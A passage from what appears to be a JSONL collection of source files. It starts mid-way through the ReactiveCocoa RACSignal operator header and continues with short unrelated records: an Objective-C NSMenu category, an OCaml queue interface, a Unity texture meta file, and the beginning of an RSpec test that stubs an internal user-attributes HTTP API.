*)throttle:(NSTimeInterval)interval valuesPassingTest:(BOOL (^)(id next))predicate;\n\n/// Forwards `next` and `completed` events after delaying for `interval` seconds\n/// on the current scheduler (on which the events were delivered).\n///\n/// If +[RACScheduler currentScheduler] is nil when `next` or `completed` is\n/// received, a private background scheduler is used.\n///\n/// Returns a signal which sends delayed `next` and `completed` events. Errors\n/// are always forwarded immediately.\n- (RACSignal *)delay:(NSTimeInterval)interval;\n\n/// Resubscribes when the signal completes.\n- (RACSignal *)repeat;\n\n/// Executes the given block each time a subscription is created.\n///\n/// block - A block which defines the subscription side effects. Cannot be `nil`.\n///\n/// Example:\n///\n/// // Write new file, with backup.\n/// [[[[fileManager\n/// rac_createFileAtPath:path contents:data]\n/// initially:^{\n/// // 2. Second, backup current file\n/// [fileManager moveItemAtPath:path toPath:backupPath error:nil];\n/// }]\n/// initially:^{\n/// // 1. First, acquire write lock.\n/// [writeLock lock];\n/// }]\n/// finally:^{\n/// [writeLock unlock];\n/// }];\n///\n/// Returns a signal that passes through all events of the receiver, plus\n/// introduces side effects which occur prior to any subscription side effects\n/// of the receiver.\n- (RACSignal *)initially:(void (^)(void))block;\n\n/// Executes the given block when the signal completes or errors.\n- (RACSignal *)finally:(void (^)(void))block;\n\n/// Divides the receiver's `next`s into buffers which deliver every `interval`\n/// seconds.\n///\n/// interval - The interval in which values are grouped into one buffer.\n/// scheduler - The scheduler upon which the returned signal will deliver its\n/// values. This must not be nil or +[RACScheduler\n/// immediateScheduler].\n///\n/// Returns a signal which sends RACTuples of the buffered values at each\n/// interval on `scheduler`. When the receiver completes, any currently-buffered\n/// values will be sent immediately.\n- (RACSignal *)bufferWithTime:(NSTimeInterval)interval onScheduler:(RACScheduler *)scheduler;\n\n/// Collects all receiver's `next`s into a NSArray. Nil values will be converted\n/// to NSNull.\n///\n/// This corresponds to the `ToArray` method in Rx.\n///\n/// Returns a signal which sends a single NSArray when the receiver completes\n/// successfully.\n- (RACSignal *)collect;\n\n/// Takes the last `count` `next`s after the receiving signal completes.\n- (RACSignal *)takeLast:(NSUInteger)count;\n\n/// Combines the latest values from the receiver and the given signal into\n/// RACTuples, once both have sent at least one `next`.\n///\n/// Any additional `next`s will result in a new RACTuple with the latest values\n/// from both signals.\n///\n/// signal - The signal to combine with. This argument must not be nil.\n///\n/// Returns a signal which sends RACTuples of the combined values, forwards any\n/// `error` events, and completes when both input signals complete.\n- (RACSignal *)combineLatestWith:(RACSignal *)signal;\n\n/// Combines the latest values from the given signals into RACTuples, once all\n/// the signals have sent at least one `next`.\n///\n/// Any additional `next`s will result in a new RACTuple with the latest values\n/// from all signals.\n///\n/// signals - The signals to combine. If this collection is empty, the returned\n/// signal will immediately complete upon subscription.\n///\n/// Returns a signal which sends RACTuples of the combined values, forwards any\n/// `error` events, and completes when all input signals complete.\n+ (RACSignal *)combineLatest:(id)signals;\n\n/// Combines signals using +combineLatest:, then reduces the resulting tuples\n/// into a single value using -reduceEach:.\n///\n/// signals - The signals to combine. If this collection is empty, the\n/// returned signal will immediately complete upon subscription.\n/// reduceBlock - The block which reduces the latest values from all the\n/// signals into one value. It must take as many arguments as the\n/// number of signals given. Each argument will be an object\n/// argument. The return value must be an object. This argument\n/// must not be nil.\n///\n/// Example:\n///\n/// [RACSignal combineLatest:@[ stringSignal, intSignal ] reduce:^(NSString *string, NSNumber *number) {\n/// return [NSString stringWithFormat:@\"%@: %@\", string, number];\n/// }];\n///\n/// Returns a signal which sends the results from each invocation of\n/// `reduceBlock`.\n+ (RACSignal *)combineLatest:(id)signals reduce:(id (^)())reduceBlock;\n\n/// Merges the receiver and the given signal with `+merge:` and returns the\n/// resulting signal.\n- (RACSignal *)merge:(RACSignal *)signal;\n\n/// Sends the latest `next` from any of the signals.\n///\n/// Returns a signal that passes through values from each of the given signals,\n/// and sends `completed` when all of them complete. If any signal sends an error,\n/// the returned signal sends `error` immediately.\n+ (RACSignal *)merge:(id)signals;\n\n/// Merges the signals sent by the receiver into a flattened signal, but only\n/// subscribes to `maxConcurrent` number of signals at a time. New signals are\n/// queued and subscribed to as other signals complete.\n///\n/// If an error occurs on any of the signals, it is sent on the returned signal.\n/// It completes only after the receiver and all sent signals have completed.\n///\n/// This corresponds to `Merge(IObservable>, Int32)`\n/// in Rx.\n///\n/// maxConcurrent - the maximum number of signals to subscribe to at a\n/// time. If 0, it subscribes to an unlimited number of\n/// signals.\n- (RACSignal *)flatten:(NSUInteger)maxConcurrent;\n\n/// Ignores all `next`s from the receiver, waits for the receiver to complete,\n/// then subscribes to a new signal.\n///\n/// block - A block which will create or obtain a new signal to subscribe to,\n/// executed only after the receiver completes. This block must not be\n/// nil, and it must not return a nil signal.\n///\n/// Returns a signal which will pass through the events of the signal created in\n/// `block`. If the receiver errors out, the returned signal will error as well.\n- (RACSignal *)then:(RACSignal * (^)(void))block;\n\n/// Concats the inner signals of a signal of signals.\n- (RACSignal *)concat;\n\n/// Aggregates the `next` values of the receiver into a single combined value.\n///\n/// The algorithm proceeds as follows:\n///\n/// 1. `start` is passed into the block as the `running` value, and the first\n/// element of the receiver is passed into the block as the `next` value.\n/// 2. The result of the invocation (`running`) and the next element of the\n/// receiver (`next`) is passed into `reduceBlock`.\n/// 3. Steps 2 and 3 are repeated until all values have been processed.\n/// 4. The last result of `reduceBlock` is sent on the returned signal.\n///\n/// This method is similar to -scanWithStart:reduce:, except that only the\n/// final result is sent on the returned signal.\n///\n/// start - The value to be combined with the first element of the\n/// receiver. This value may be `nil`.\n/// reduceBlock - The block that describes how to combine values of the\n/// receiver. If the receiver is empty, this block will never be\n/// invoked. Cannot be nil.\n///\n/// Returns a signal that will send the aggregated value when the receiver\n/// completes, then itself complete. If the receiver never sends any values,\n/// `start` will be sent instead.\n- (RACSignal *)aggregateWithStart:(id)start reduce:(id (^)(id running, id next))reduceBlock;\n\n/// Aggregates the `next` values of the receiver into a single combined value.\n/// This is indexed version of -aggregateWithStart:reduce:.\n///\n/// start - The value to be combined with the first element of the\n/// receiver. This value may be `nil`.\n/// reduceBlock - The block that describes how to combine values of the\n/// receiver. This block takes zero-based index value as the last\n/// parameter. If the receiver is empty, this block will never be\n/// invoked. Cannot be nil.\n///\n/// Returns a signal that will send the aggregated value when the receiver\n/// completes, then itself complete. If the receiver never sends any values,\n/// `start` will be sent instead.\n- (RACSignal *)aggregateWithStart:(id)start reduceWithIndex:(id (^)(id running, id next, NSUInteger index))reduceBlock;\n\n/// Aggregates the `next` values of the receiver into a single combined value.\n///\n/// This invokes `startFactory` block on each subscription, then calls\n/// -aggregateWithStart:reduce: with the return value of the block as start value.\n///\n/// startFactory - The block that returns start value which will be combined\n/// with the first element of the receiver. Cannot be nil.\n/// reduceBlock - The block that describes how to combine values of the\n/// receiver. If the receiver is empty, this block will never be\n/// invoked. Cannot be nil.\n///\n/// Returns a signal that will send the aggregated value when the receiver\n/// completes, then itself complete. If the receiver never sends any values,\n/// the return value of `startFactory` will be sent instead.\n- (RACSignal *)aggregateWithStartFactory:(id (^)(void))startFactory reduce:(id (^)(id running, id next))reduceBlock;\n\n/// Invokes -setKeyPath:onObject:nilValue: with `nil` for the nil value.\n///\n/// WARNING: Under certain conditions, this method is known to be thread-unsafe.\n/// See the description in -setKeyPath:onObject:nilValue:.\n- (RACDisposable *)setKeyPath:(NSString *)keyPath onObject:(NSObject *)object;\n\n/// Binds the receiver to an object, automatically setting the given key path on\n/// every `next`. When the signal completes, the binding is automatically\n/// disposed of.\n///\n/// WARNING: Under certain conditions, this method is known to be thread-unsafe.\n/// A crash can result if `object` is deallocated concurrently on\n/// another thread within a window of time between a value being sent\n/// on this signal and immediately prior to the invocation of\n/// -setValue:forKeyPath:, which sets the property. To prevent this,\n/// ensure `object` is deallocated on the same thread the receiver\n/// sends on, or ensure that the returned disposable is disposed of\n/// before `object` deallocates.\n/// See https://github.com/ReactiveCocoa/ReactiveCocoa/pull/1184\n///\n/// Sending an error on the signal is considered undefined behavior, and will\n/// generate an assertion failure in Debug builds.\n///\n/// A given key on an object should only have one active signal bound to it at any\n/// given time. Binding more than one signal to the same property is considered\n/// undefined behavior.\n///\n/// keyPath - The key path to update with `next`s from the receiver.\n/// object - The object that `keyPath` is relative to.\n/// nilValue - The value to set at the key path whenever `nil` is sent by the\n/// receiver. This may be nil when binding to object properties, but\n/// an NSValue should be used for primitive properties, to avoid an\n/// exception if `nil` is sent (which might occur if an intermediate\n/// object is set to `nil`).\n///\n/// Returns a disposable which can be used to terminate the binding.\n- (RACDisposable *)setKeyPath:(NSString *)keyPath onObject:(NSObject *)object nilValue:(id)nilValue;\n\n/// Sends NSDate.date every `interval` seconds.\n///\n/// interval - The time interval in seconds at which the current time is sent.\n/// scheduler - The scheduler upon which the current NSDate should be sent. This\n/// must not be nil or +[RACScheduler immediateScheduler].\n///\n/// Returns a signal that sends the current date/time every `interval` on\n/// `scheduler`.\n+ (RACSignal *)interval:(NSTimeInterval)interval onScheduler:(RACScheduler *)scheduler;\n\n/// Sends NSDate.date at intervals of at least `interval` seconds, up to\n/// approximately `interval` + `leeway` seconds.\n///\n/// The created signal will defer sending each `next` for at least `interval`\n/// seconds, and for an additional amount of time up to `leeway` seconds in the\n/// interest of performance or power consumption. Note that some additional\n/// latency is to be expected, even when specifying a `leeway` of 0.\n///\n/// interval - The base interval between `next`s.\n/// scheduler - The scheduler upon which the current NSDate should be sent. This\n/// must not be nil or +[RACScheduler immediateScheduler].\n/// leeway - The maximum amount of additional time the `next` can be deferred.\n///\n/// Returns a signal that sends the current date/time at intervals of at least\n/// `interval seconds` up to approximately `interval` + `leeway` seconds on\n/// `scheduler`.\n+ (RACSignal *)interval:(NSTimeInterval)interval onScheduler:(RACScheduler *)scheduler withLeeway:(NSTimeInterval)leeway;\n\n/// Takes `next`s until the `signalTrigger` sends `next` or `completed`.\n///\n/// Returns a signal which passes through all events from the receiver until\n/// `signalTrigger` sends `next` or `completed`, at which point the returned signal\n/// will send `completed`.\n- (RACSignal *)takeUntil:(RACSignal *)signalTrigger;\n\n/// Takes `next`s until the `replacement` sends an event.\n///\n/// replacement - The signal which replaces the receiver as soon as it sends an\n/// event.\n///\n/// Returns a signal which passes through `next`s and `error` from the receiver\n/// until `replacement` sends an event, at which point the returned signal will\n/// send that event and switch to passing through events from `replacement`\n/// instead, regardless of whether the receiver has sent events already.\n- (RACSignal *)takeUntilReplacement:(RACSignal *)replacement;\n\n/// Subscribes to the returned signal when an error occurs.\n- (RACSignal *)catch:(RACSignal * (^)(NSError *error))catchBlock;\n\n/// Subscribes to the given signal when an error occurs.\n- (RACSignal *)catchTo:(RACSignal *)signal;\n\n/// Returns a signal that will either immediately send the return value of\n/// `tryBlock` and complete, or error using the `NSError` passed out from the\n/// block.\n///\n/// tryBlock - An action that performs some computation that could fail. If the\n/// block returns nil, the block must return an error via the\n/// `errorPtr` parameter.\n///\n/// Example:\n///\n/// [RACSignal try:^(NSError **error) {\n/// return [NSJSONSerialization JSONObjectWithData:someJSONData options:0 error:error];\n/// }];\n+ (RACSignal *)try:(id (^)(NSError **errorPtr))tryBlock;\n\n/// Runs `tryBlock` against each of the receiver's values, passing values\n/// until `tryBlock` returns NO, or the receiver completes.\n///\n/// tryBlock - An action to run against each of the receiver's values.\n/// The block should return YES to indicate that the action was\n/// successful. This block must not be nil.\n///\n/// Example:\n///\n/// // The returned signal will send an error if data values cannot be\n/// // written to `someFileURL`.\n/// [signal try:^(NSData *data, NSError **errorPtr) {\n/// return [data writeToURL:someFileURL options:NSDataWritingAtomic error:errorPtr];\n/// }];\n///\n/// Returns a signal which passes through all the values of the receiver. If\n/// `tryBlock` fails for any value, the returned signal will error using the\n/// `NSError` passed out from the block.\n- (RACSignal *)try:(BOOL (^)(id value, NSError **errorPtr))tryBlock;\n\n/// Runs `mapBlock` against each of the receiver's values, mapping values until\n/// `mapBlock` returns nil, or the receiver completes.\n///\n/// mapBlock - An action to map each of the receiver's values. The block should\n/// return a non-nil value to indicate that the action was successful.\n/// This block must not be nil.\n///\n/// Example:\n///\n/// // The returned signal will send an error if data cannot be read from\n/// // `fileURL`.\n/// [signal tryMap:^(NSURL *fileURL, NSError **errorPtr) {\n/// return [NSData dataWithContentsOfURL:fileURL options:0 error:errorPtr];\n/// }];\n///\n/// Returns a signal which transforms all the values of the receiver. If\n/// `mapBlock` returns nil for any value, the returned signal will error using\n/// the `NSError` passed out from the block.\n- (RACSignal *)tryMap:(id (^)(id value, NSError **errorPtr))mapBlock;\n\n/// Returns the first `next`. Note that this is a blocking call.\n- (id)first;\n\n/// Returns the first `next` or `defaultValue` if the signal completes or errors\n/// without sending a `next`. Note that this is a blocking call.\n- (id)firstOrDefault:(id)defaultValue;\n\n/// Returns the first `next` or `defaultValue` if the signal completes or errors\n/// without sending a `next`. If an error occurs success will be NO and error\n/// will be populated. Note that this is a blocking call.\n///\n/// Both success and error may be NULL.\n- (id)firstOrDefault:(id)defaultValue success:(BOOL *)success error:(NSError **)error;\n\n/// Blocks the caller and waits for the signal to complete.\n///\n/// error - If not NULL, set to any error that occurs.\n///\n/// Returns whether the signal completed successfully. If NO, `error` will be set\n/// to the error that occurred.\n- (BOOL)waitUntilCompleted:(NSError **)error;\n\n/// Defers creation of a signal until the signal's actually subscribed to.\n///\n/// This can be used to effectively turn a hot signal into a cold signal.\n+ (RACSignal *)defer:(RACSignal * (^)(void))block;\n\n/// Every time the receiver sends a new RACSignal, subscribes and sends `next`s and\n/// `error`s only for that signal.\n///\n/// The receiver must be a signal of signals.\n///\n/// Returns a signal which passes through `next`s and `error`s from the latest\n/// signal sent by the receiver, and sends `completed` when both the receiver and\n/// the last sent signal complete.\n- (RACSignal *)switchToLatest;\n\n/// Switches between the signals in `cases` as well as `defaultSignal` based on\n/// the latest value sent by `signal`.\n///\n/// signal - A signal of objects used as keys in the `cases` dictionary.\n/// This argument must not be nil.\n/// cases - A dictionary that has signals as values. This argument must\n/// not be nil. A RACTupleNil key in this dictionary will match\n/// nil `next` events that are received on `signal`.\n/// defaultSignal - The signal to pass through after `signal` sends a value for\n/// which `cases` does not contain a signal. If nil, any\n/// unmatched values will result in\n/// a RACSignalErrorNoMatchingCase error.\n///\n/// Returns a signal which passes through `next`s and `error`s from one of the\n/// the signals in `cases` or `defaultSignal`, and sends `completed` when both\n/// `signal` and the last used signal complete. If no `defaultSignal` is given,\n/// an unmatched `next` will result in an error on the returned signal.\n+ (RACSignal *)switch:(RACSignal *)signal cases:(NSDictionary *)cases default:(RACSignal *)defaultSignal;\n\n/// Switches between `trueSignal` and `falseSignal` based on the latest value\n/// sent by `boolSignal`.\n///\n/// boolSignal - A signal of BOOLs determining whether `trueSignal` or\n/// `falseSignal` should be active. This argument must not be nil.\n/// trueSignal - The signal to pass through after `boolSignal` has sent YES.\n/// This argument must not be nil.\n/// falseSignal - The signal to pass through after `boolSignal` has sent NO. This\n/// argument must not be nil.\n///\n/// Returns a signal which passes through `next`s and `error`s from `trueSignal`\n/// and/or `falseSignal`, and sends `completed` when both `boolSignal` and the\n/// last switched signal complete.\n+ (RACSignal *)if:(RACSignal *)boolSignal then:(RACSignal *)trueSignal else:(RACSignal *)falseSignal;\n\n/// Adds every `next` to an array. Nils are represented by NSNulls. Note that\n/// this is a blocking call.\n///\n/// **This is not the same as the `ToArray` method in Rx.** See -collect for\n/// that behavior instead.\n///\n/// Returns the array of `next` values, or nil if an error occurs.\n- (NSArray *)toArray;\n\n/// Adds every `next` to a sequence. Nils are represented by NSNulls.\n///\n/// This corresponds to the `ToEnumerable` method in Rx.\n///\n/// Returns a sequence which provides values from the signal as they're sent.\n/// Trying to retrieve a value from the sequence which has not yet been sent will\n/// block.\n@property (nonatomic, strong, readonly) RACSequence *sequence;\n\n/// Creates and returns a multicast connection. This allows you to share a single\n/// subscription to the underlying signal.\n- (RACMulticastConnection *)publish;\n\n/// Creates and returns a multicast connection that pushes values into the given\n/// subject. This allows you to share a single subscription to the underlying\n/// signal.\n- (RACMulticastConnection *)multicast:(RACSubject *)subject;\n\n/// Multicasts the signal to a RACReplaySubject of unlimited capacity, and\n/// immediately connects to the resulting RACMulticastConnection.\n///\n/// Returns the connected, multicasted signal.\n- (RACSignal *)replay;\n\n/// Multicasts the signal to a RACReplaySubject of capacity 1, and immediately\n/// connects to the resulting RACMulticastConnection.\n///\n/// Returns the connected, multicasted signal.\n- (RACSignal *)replayLast;\n\n/// Multicasts the signal to a RACReplaySubject of unlimited capacity, and\n/// lazily connects to the resulting RACMulticastConnection.\n///\n/// This means the returned signal will subscribe to the multicasted signal only\n/// when the former receives its first subscription.\n///\n/// Returns the lazily connected, multicasted signal.\n- (RACSignal *)replayLazily;\n\n/// Sends an error after `interval` seconds if the source doesn't complete\n/// before then.\n///\n/// The error will be in the RACSignalErrorDomain and have a code of\n/// RACSignalErrorTimedOut.\n///\n/// interval - The number of seconds after which the signal should error out.\n/// scheduler - The scheduler upon which any timeout error should be sent. This\n/// must not be nil or +[RACScheduler immediateScheduler].\n///\n/// Returns a signal that passes through the receiver's events, until the stream\n/// finishes or times out, at which point an error will be sent on `scheduler`.\n- (RACSignal *)timeout:(NSTimeInterval)interval onScheduler:(RACScheduler *)scheduler;\n\n/// Creates and returns a signal that delivers its events on the given scheduler.\n/// Any side effects of the receiver will still be performed on the original\n/// thread.\n///\n/// This is ideal when the signal already performs its work on the desired\n/// thread, but you want to handle its events elsewhere.\n///\n/// This corresponds to the `ObserveOn` method in Rx.\n- (RACSignal *)deliverOn:(RACScheduler *)scheduler;\n\n/// Creates and returns a signal that executes its side effects and delivers its\n/// events on the given scheduler.\n///\n/// Use of this operator should be avoided whenever possible, because the\n/// receiver's side effects may not be safe to run on another thread. If you just\n/// want to receive the signal's events on `scheduler`, use -deliverOn: instead.\n- (RACSignal *)subscribeOn:(RACScheduler *)scheduler;\n\n/// Creates and returns a signal that delivers its events on the main thread.\n/// If events are already being sent on the main thread, they may be passed on\n/// without delay. An event will instead be queued for later delivery on the main\n/// thread if sent on another thread, or if a previous event is already being\n/// processed, or has been queued.\n///\n/// Any side effects of the receiver will still be performed on the original\n/// thread.\n///\n/// This can be used when a signal will cause UI updates, to avoid potential\n/// flicker caused by delayed delivery of events, such as the first event from\n/// a RACObserve at view instantiation.\n- (RACSignal *)deliverOnMainThread;\n\n/// Groups each received object into a group, as determined by calling `keyBlock`\n/// with that object. The object sent is transformed by calling `transformBlock`\n/// with the object. If `transformBlock` is nil, it sends the original object.\n///\n/// The returned signal is a signal of RACGroupedSignal.\n- (RACSignal *)groupBy:(id (^)(id object))keyBlock transform:(id (^)(id object))transformBlock;\n\n/// Calls -[RACSignal groupBy:keyBlock transform:nil].\n- (RACSignal *)groupBy:(id (^)(id object))keyBlock;\n\n/// Sends an [NSNumber numberWithBool:YES] if the receiving signal sends any\n/// objects.\n- (RACSignal *)any;\n\n/// Sends an [NSNumber numberWithBool:YES] if the receiving signal sends any\n/// objects that pass `predicateBlock`.\n///\n/// predicateBlock - cannot be nil.\n- (RACSignal *)any:(BOOL (^)(id object))predicateBlock;\n\n/// Sends an [NSNumber numberWithBool:YES] if all the objects the receiving \n/// signal sends pass `predicateBlock`.\n///\n/// predicateBlock - cannot be nil.\n- (RACSignal *)all:(BOOL (^)(id object))predicateBlock;\n\n/// Resubscribes to the receiving signal if an error occurs, up until it has\n/// retried the given number of times.\n///\n/// retryCount - if 0, it keeps retrying until it completes.\n- (RACSignal *)retry:(NSInteger)retryCount;\n\n/// Resubscribes to the receiving signal if an error occurs.\n- (RACSignal *)retry;\n\n/// Sends the latest value from the receiver only when `sampler` sends a value.\n/// The returned signal could repeat values if `sampler` fires more often than\n/// the receiver. Values from `sampler` are ignored before the receiver sends\n/// its first value.\n///\n/// sampler - The signal that controls when the latest value from the receiver\n/// is sent. Cannot be nil.\n- (RACSignal *)sample:(RACSignal *)sampler;\n\n/// Ignores all `next`s from the receiver.\n///\n/// Returns a signal which only passes through `error` or `completed` events from\n/// the receiver.\n- (RACSignal *)ignoreValues;\n\n/// Converts each of the receiver's events into a RACEvent object.\n///\n/// Returns a signal which sends the receiver's events as RACEvents, and\n/// completes after the receiver sends `completed` or `error`.\n- (RACSignal *)materialize;\n\n/// Converts each RACEvent in the receiver back into \"real\" RACSignal events.\n///\n/// Returns a signal which sends `next` for each value RACEvent, `error` for each\n/// error RACEvent, and `completed` for each completed RACEvent.\n- (RACSignal *)dematerialize;\n\n/// Inverts each NSNumber-wrapped BOOL sent by the receiver. It will assert if\n/// the receiver sends anything other than NSNumbers.\n///\n/// Returns a signal of inverted NSNumber-wrapped BOOLs.\n- (RACSignal *)not;\n\n/// Performs a boolean AND on all of the RACTuple of NSNumbers in sent by the receiver.\n///\n/// Asserts if the receiver sends anything other than a RACTuple of one or more NSNumbers.\n///\n/// Returns a signal that applies AND to each NSNumber in the tuple.\n- (RACSignal *)and;\n\n/// Performs a boolean OR on all of the RACTuple of NSNumbers in sent by the receiver.\n///\n/// Asserts if the receiver sends anything other than a RACTuple of one or more NSNumbers.\n/// \n/// Returns a signal that applies OR to each NSNumber in the tuple.\n- (RACSignal *)or;\n\n/// Sends the result of calling the block with arguments as packed in each RACTuple\n/// sent by the receiver.\n///\n/// The receiver must send tuple values, where the first element of the tuple is\n/// a block, taking a number of parameters equal to the count of the remaining\n/// elements of the tuple, and returning an object. Each block must take at least\n/// one argument, so each tuple must contain at least 2 elements.\n///\n/// Example:\n///\n/// RACSignal *adder = [RACSignal return:^(NSNumber *a, NSNumber *b) {\n/// return @(a.intValue + b.intValue);\n/// }];\n/// RACSignal *sums = [[RACSignal\n/// combineLatest:@[ adder, as, bs ]]\n/// reduceApply];\n///\n/// Returns a signal of the result of applying the first element of each tuple\n/// to the remaining elements.\n- (RACSignal *)reduceApply;\n\n@end\n\n@interface RACSignal (UnavailableOperations)\n\n- (RACSignal *)windowWithStart:(RACSignal *)openSignal close:(RACSignal * (^)(RACSignal *start))closeBlock __attribute__((unavailable(\"See https://github.com/ReactiveCocoa/ReactiveCocoa/issues/587\")));\n- (RACSignal *)buffer:(NSUInteger)bufferCount __attribute__((unavailable(\"See https://github.com/ReactiveCocoa/ReactiveCocoa/issues/587\")));\n- (RACSignal *)let:(RACSignal * (^)(RACSignal *sharedSignal))letBlock __attribute__((unavailable(\"Use -publish instead\")));\n+ (RACSignal *)interval:(NSTimeInterval)interval __attribute__((unavailable(\"Use +interval:onScheduler: instead\")));\n+ (RACSignal *)interval:(NSTimeInterval)interval withLeeway:(NSTimeInterval)leeway __attribute__((unavailable(\"Use +interval:onScheduler:withLeeway: instead\")));\n- (RACSignal *)bufferWithTime:(NSTimeInterval)interval __attribute__((unavailable(\"Use -bufferWithTime:onScheduler: instead\")));\n- (RACSignal *)timeout:(NSTimeInterval)interval __attribute__((unavailable(\"Use -timeout:onScheduler: instead\")));\n- (RACDisposable *)toProperty:(NSString *)keyPath onObject:(NSObject *)object __attribute__((unavailable(\"Renamed to -setKeyPath:onObject:\")));\n- (RACSignal *)ignoreElements __attribute__((unavailable(\"Renamed to -ignoreValues\")));\n- (RACSignal *)sequenceNext:(RACSignal * (^)(void))block __attribute__((unavailable(\"Renamed to -then:\")));\n- (RACSignal *)aggregateWithStart:(id)start combine:(id (^)(id running, id next))combineBlock __attribute__((unavailable(\"Renamed to -aggregateWithStart:reduce:\")));\n- (RACSignal *)aggregateWithStartFactory:(id (^)(void))startFactory combine:(id (^)(id running, id next))combineBlock __attribute__((unavailable(\"Renamed to -aggregateWithStartFactory:reduce:\")));\n- (RACDisposable *)executeCommand:(RACCommand *)command __attribute__((unavailable(\"Use -flattenMap: or -subscribeNext: instead\")));\n\n@end\n"} +{"text": "//\n// NSMenu+Utilities.m\n// DBSmartPanels\n//\n// Created by Dave Blundell on 10/19/14.\n// Copyright (c) 2014 Dave Blundell. All rights reserved.\n//\n\n#import \"NSMenu+Utilities.h\"\n\n@implementation NSMenu (Utilities)\n\n- (void)insertItem:(NSMenuItem *)newItem afterItemWithTitle:(NSString *)title {\n NSInteger index = [self indexOfItemWithTitle:title];\n \n // if the item isn't found, insert item at end\n if (index == -1 || index >= self.itemArray.count - 1) {\n [self addItem:newItem];\n } else {\n [self insertItem:newItem atIndex:index + 1];\n }\n}\n\n@end\n"} +{"text": "type 'a t\nexception Empty \nval create : unit -> 'a t\nval add : 'a -> 'a t -> unit\nval push : 'a -> 'a t -> unit\nval take : 'a t -> 'a\nval pop : 'a t -> 'a\nval peek : 'a t -> 'a\nval top : 'a t -> 'a\nval clear : 'a t -> unit\nval copy : 'a t -> 'a t\nval is_empty : 'a t -> bool\nval length : 'a t -> int\nval iter : ('a -> unit) -> 'a t -> unit\nval fold : ('a -> 'b -> 'a) -> 'a -> 'b t -> 'a\nval transfer : 'a t -> 'a t -> unit\n"} +{"text": "fileFormatVersion: 2\nguid: 237a0108b61bc438c9f5768c61752305\nTextureImporter:\n internalIDToNameTable: []\n externalObjects: {}\n serializedVersion: 10\n mipmaps:\n mipMapMode: 0\n enableMipMap: 1\n sRGBTexture: 0\n linearTexture: 0\n fadeOut: 0\n borderMipMap: 0\n mipMapsPreserveCoverage: 0\n alphaTestReferenceValue: 0.5\n mipMapFadeDistanceStart: 1\n mipMapFadeDistanceEnd: 3\n bumpmap:\n convertToNormalMap: 0\n externalNormalMap: 0\n heightScale: 0.25\n normalMapFilter: 0\n isReadable: 0\n streamingMipmaps: 0\n streamingMipmapsPriority: 0\n grayScaleToAlpha: 0\n generateCubemap: 6\n cubemapConvolution: 0\n seamlessCubemap: 0\n textureFormat: 1\n maxTextureSize: 2048\n textureSettings:\n serializedVersion: 2\n filterMode: -1\n aniso: -1\n mipBias: -100\n wrapU: -1\n wrapV: -1\n wrapW: -1\n nPOTScale: 1\n lightmap: 0\n compressionQuality: 50\n spriteMode: 0\n spriteExtrude: 1\n spriteMeshType: 1\n alignment: 0\n spritePivot: {x: 0.5, y: 0.5}\n spritePixelsToUnits: 100\n spriteBorder: {x: 0, y: 0, z: 0, w: 0}\n spriteGenerateFallbackPhysicsShape: 1\n alphaUsage: 1\n alphaIsTransparency: 0\n spriteTessellationDetail: -1\n textureType: 10\n textureShape: 1\n singleChannelComponent: 1\n maxTextureSizeSet: 0\n compressionQualitySet: 0\n textureFormatSet: 0\n platformSettings:\n - serializedVersion: 3\n buildTarget: DefaultTexturePlatform\n maxTextureSize: 1024\n resizeAlgorithm: 0\n textureFormat: -1\n textureCompression: 3\n compressionQuality: 50\n crunchedCompression: 0\n allowsAlphaSplitting: 0\n overridden: 0\n androidETC2FallbackOverride: 0\n forceMaximumCompressionQuality_BC6H_BC7: 0\n - serializedVersion: 3\n buildTarget: Standalone\n maxTextureSize: 2048\n resizeAlgorithm: 0\n textureFormat: 26\n textureCompression: 3\n compressionQuality: 50\n crunchedCompression: 0\n allowsAlphaSplitting: 0\n overridden: 1\n androidETC2FallbackOverride: 0\n forceMaximumCompressionQuality_BC6H_BC7: 0\n - serializedVersion: 3\n buildTarget: iPhone\n maxTextureSize: 1024\n resizeAlgorithm: 0\n textureFormat: -1\n textureCompression: 3\n compressionQuality: 50\n crunchedCompression: 0\n allowsAlphaSplitting: 0\n overridden: 0\n androidETC2FallbackOverride: 0\n forceMaximumCompressionQuality_BC6H_BC7: 0\n - serializedVersion: 3\n buildTarget: Android\n maxTextureSize: 1024\n resizeAlgorithm: 0\n textureFormat: -1\n textureCompression: 3\n compressionQuality: 50\n crunchedCompression: 0\n allowsAlphaSplitting: 0\n overridden: 0\n androidETC2FallbackOverride: 0\n forceMaximumCompressionQuality_BC6H_BC7: 0\n - serializedVersion: 3\n buildTarget: WebGL\n maxTextureSize: 1024\n resizeAlgorithm: 0\n textureFormat: -1\n textureCompression: 3\n compressionQuality: 50\n crunchedCompression: 0\n allowsAlphaSplitting: 0\n overridden: 0\n androidETC2FallbackOverride: 0\n forceMaximumCompressionQuality_BC6H_BC7: 0\n spriteSheet:\n serializedVersion: 2\n sprites: []\n outline: []\n physicsShape: []\n bones: []\n spriteID: \n internalID: 0\n vertices: []\n indices: \n edges: []\n weights: []\n secondaryTextures: []\n spritePackingTag: \n pSDRemoveMatte: 0\n pSDShowRemoveMatteOption: 0\n userData: \n assetBundleName: \n assetBundleVariant: \n"} +{"text": "\n

Press\n &shortcut:EditorDuplicate;\n in the editor to duplicate the selected block, or the current line when no block is selected.\n

\n "} +{"text": "#ifndef WebCore_FWD_YarrJIT_h\n#define WebCore_FWD_YarrJIT_h\n#include \n#endif\n\n"} +{"text": "require 'webmock/rspec'\nrequire 'httpd_dbus_api'\n\nRSpec.describe HttpdDBusApi do\n let(:jdoe_userid) { \"jdoe\" }\n\n let(:jdoe_user_attrs) do\n {\n \"mail\" => \"jdoe@acme.com\",\n \"givenname\" => \"John\",\n \"sn\" => \"Doe\",\n \"displayname\" => \"John Doe\",\n \"domainname\" => \"acme.com\"\n }\n end\n\n let(:jdoe_user_groups) { %w(evmgroup-super_administrator evmgroup-user) }\n\n let(:jim_userid) { \"jim\" }\n let(:jim_attrs_error) { \"Unable to get attributes for user #{jim_userid} - No such user\" }\n let(:jim_groups_error) { \"Unable to get groups for user #{jim_userid} - No such user\" }\n\n before do\n ENV[\"HTTPD_DBUS_API_SERVICE_HOST\"] = \"1.2.3.4\"\n ENV[\"HTTPD_DBUS_API_SERVICE_PORT\"] = \"3400\"\n\n stub_request(:get, \"http://1.2.3.4:3400/api/user_attrs/#{jdoe_userid}\")\n .to_return(:status => 200, :body => { \"result\" => jdoe_user_attrs }.to_json)\n\n stub_request(:get, \"http://1.2.3.4:3400/api/user_attrs/#{jdoe_userid}?attributes=givenname,sn\")\n .to_return(:status => 200, :body => { \"result\" => jdoe_user_attrs.slice(\"givenname\", \"sn\") }.to_json)\n\n stub_request(:get, 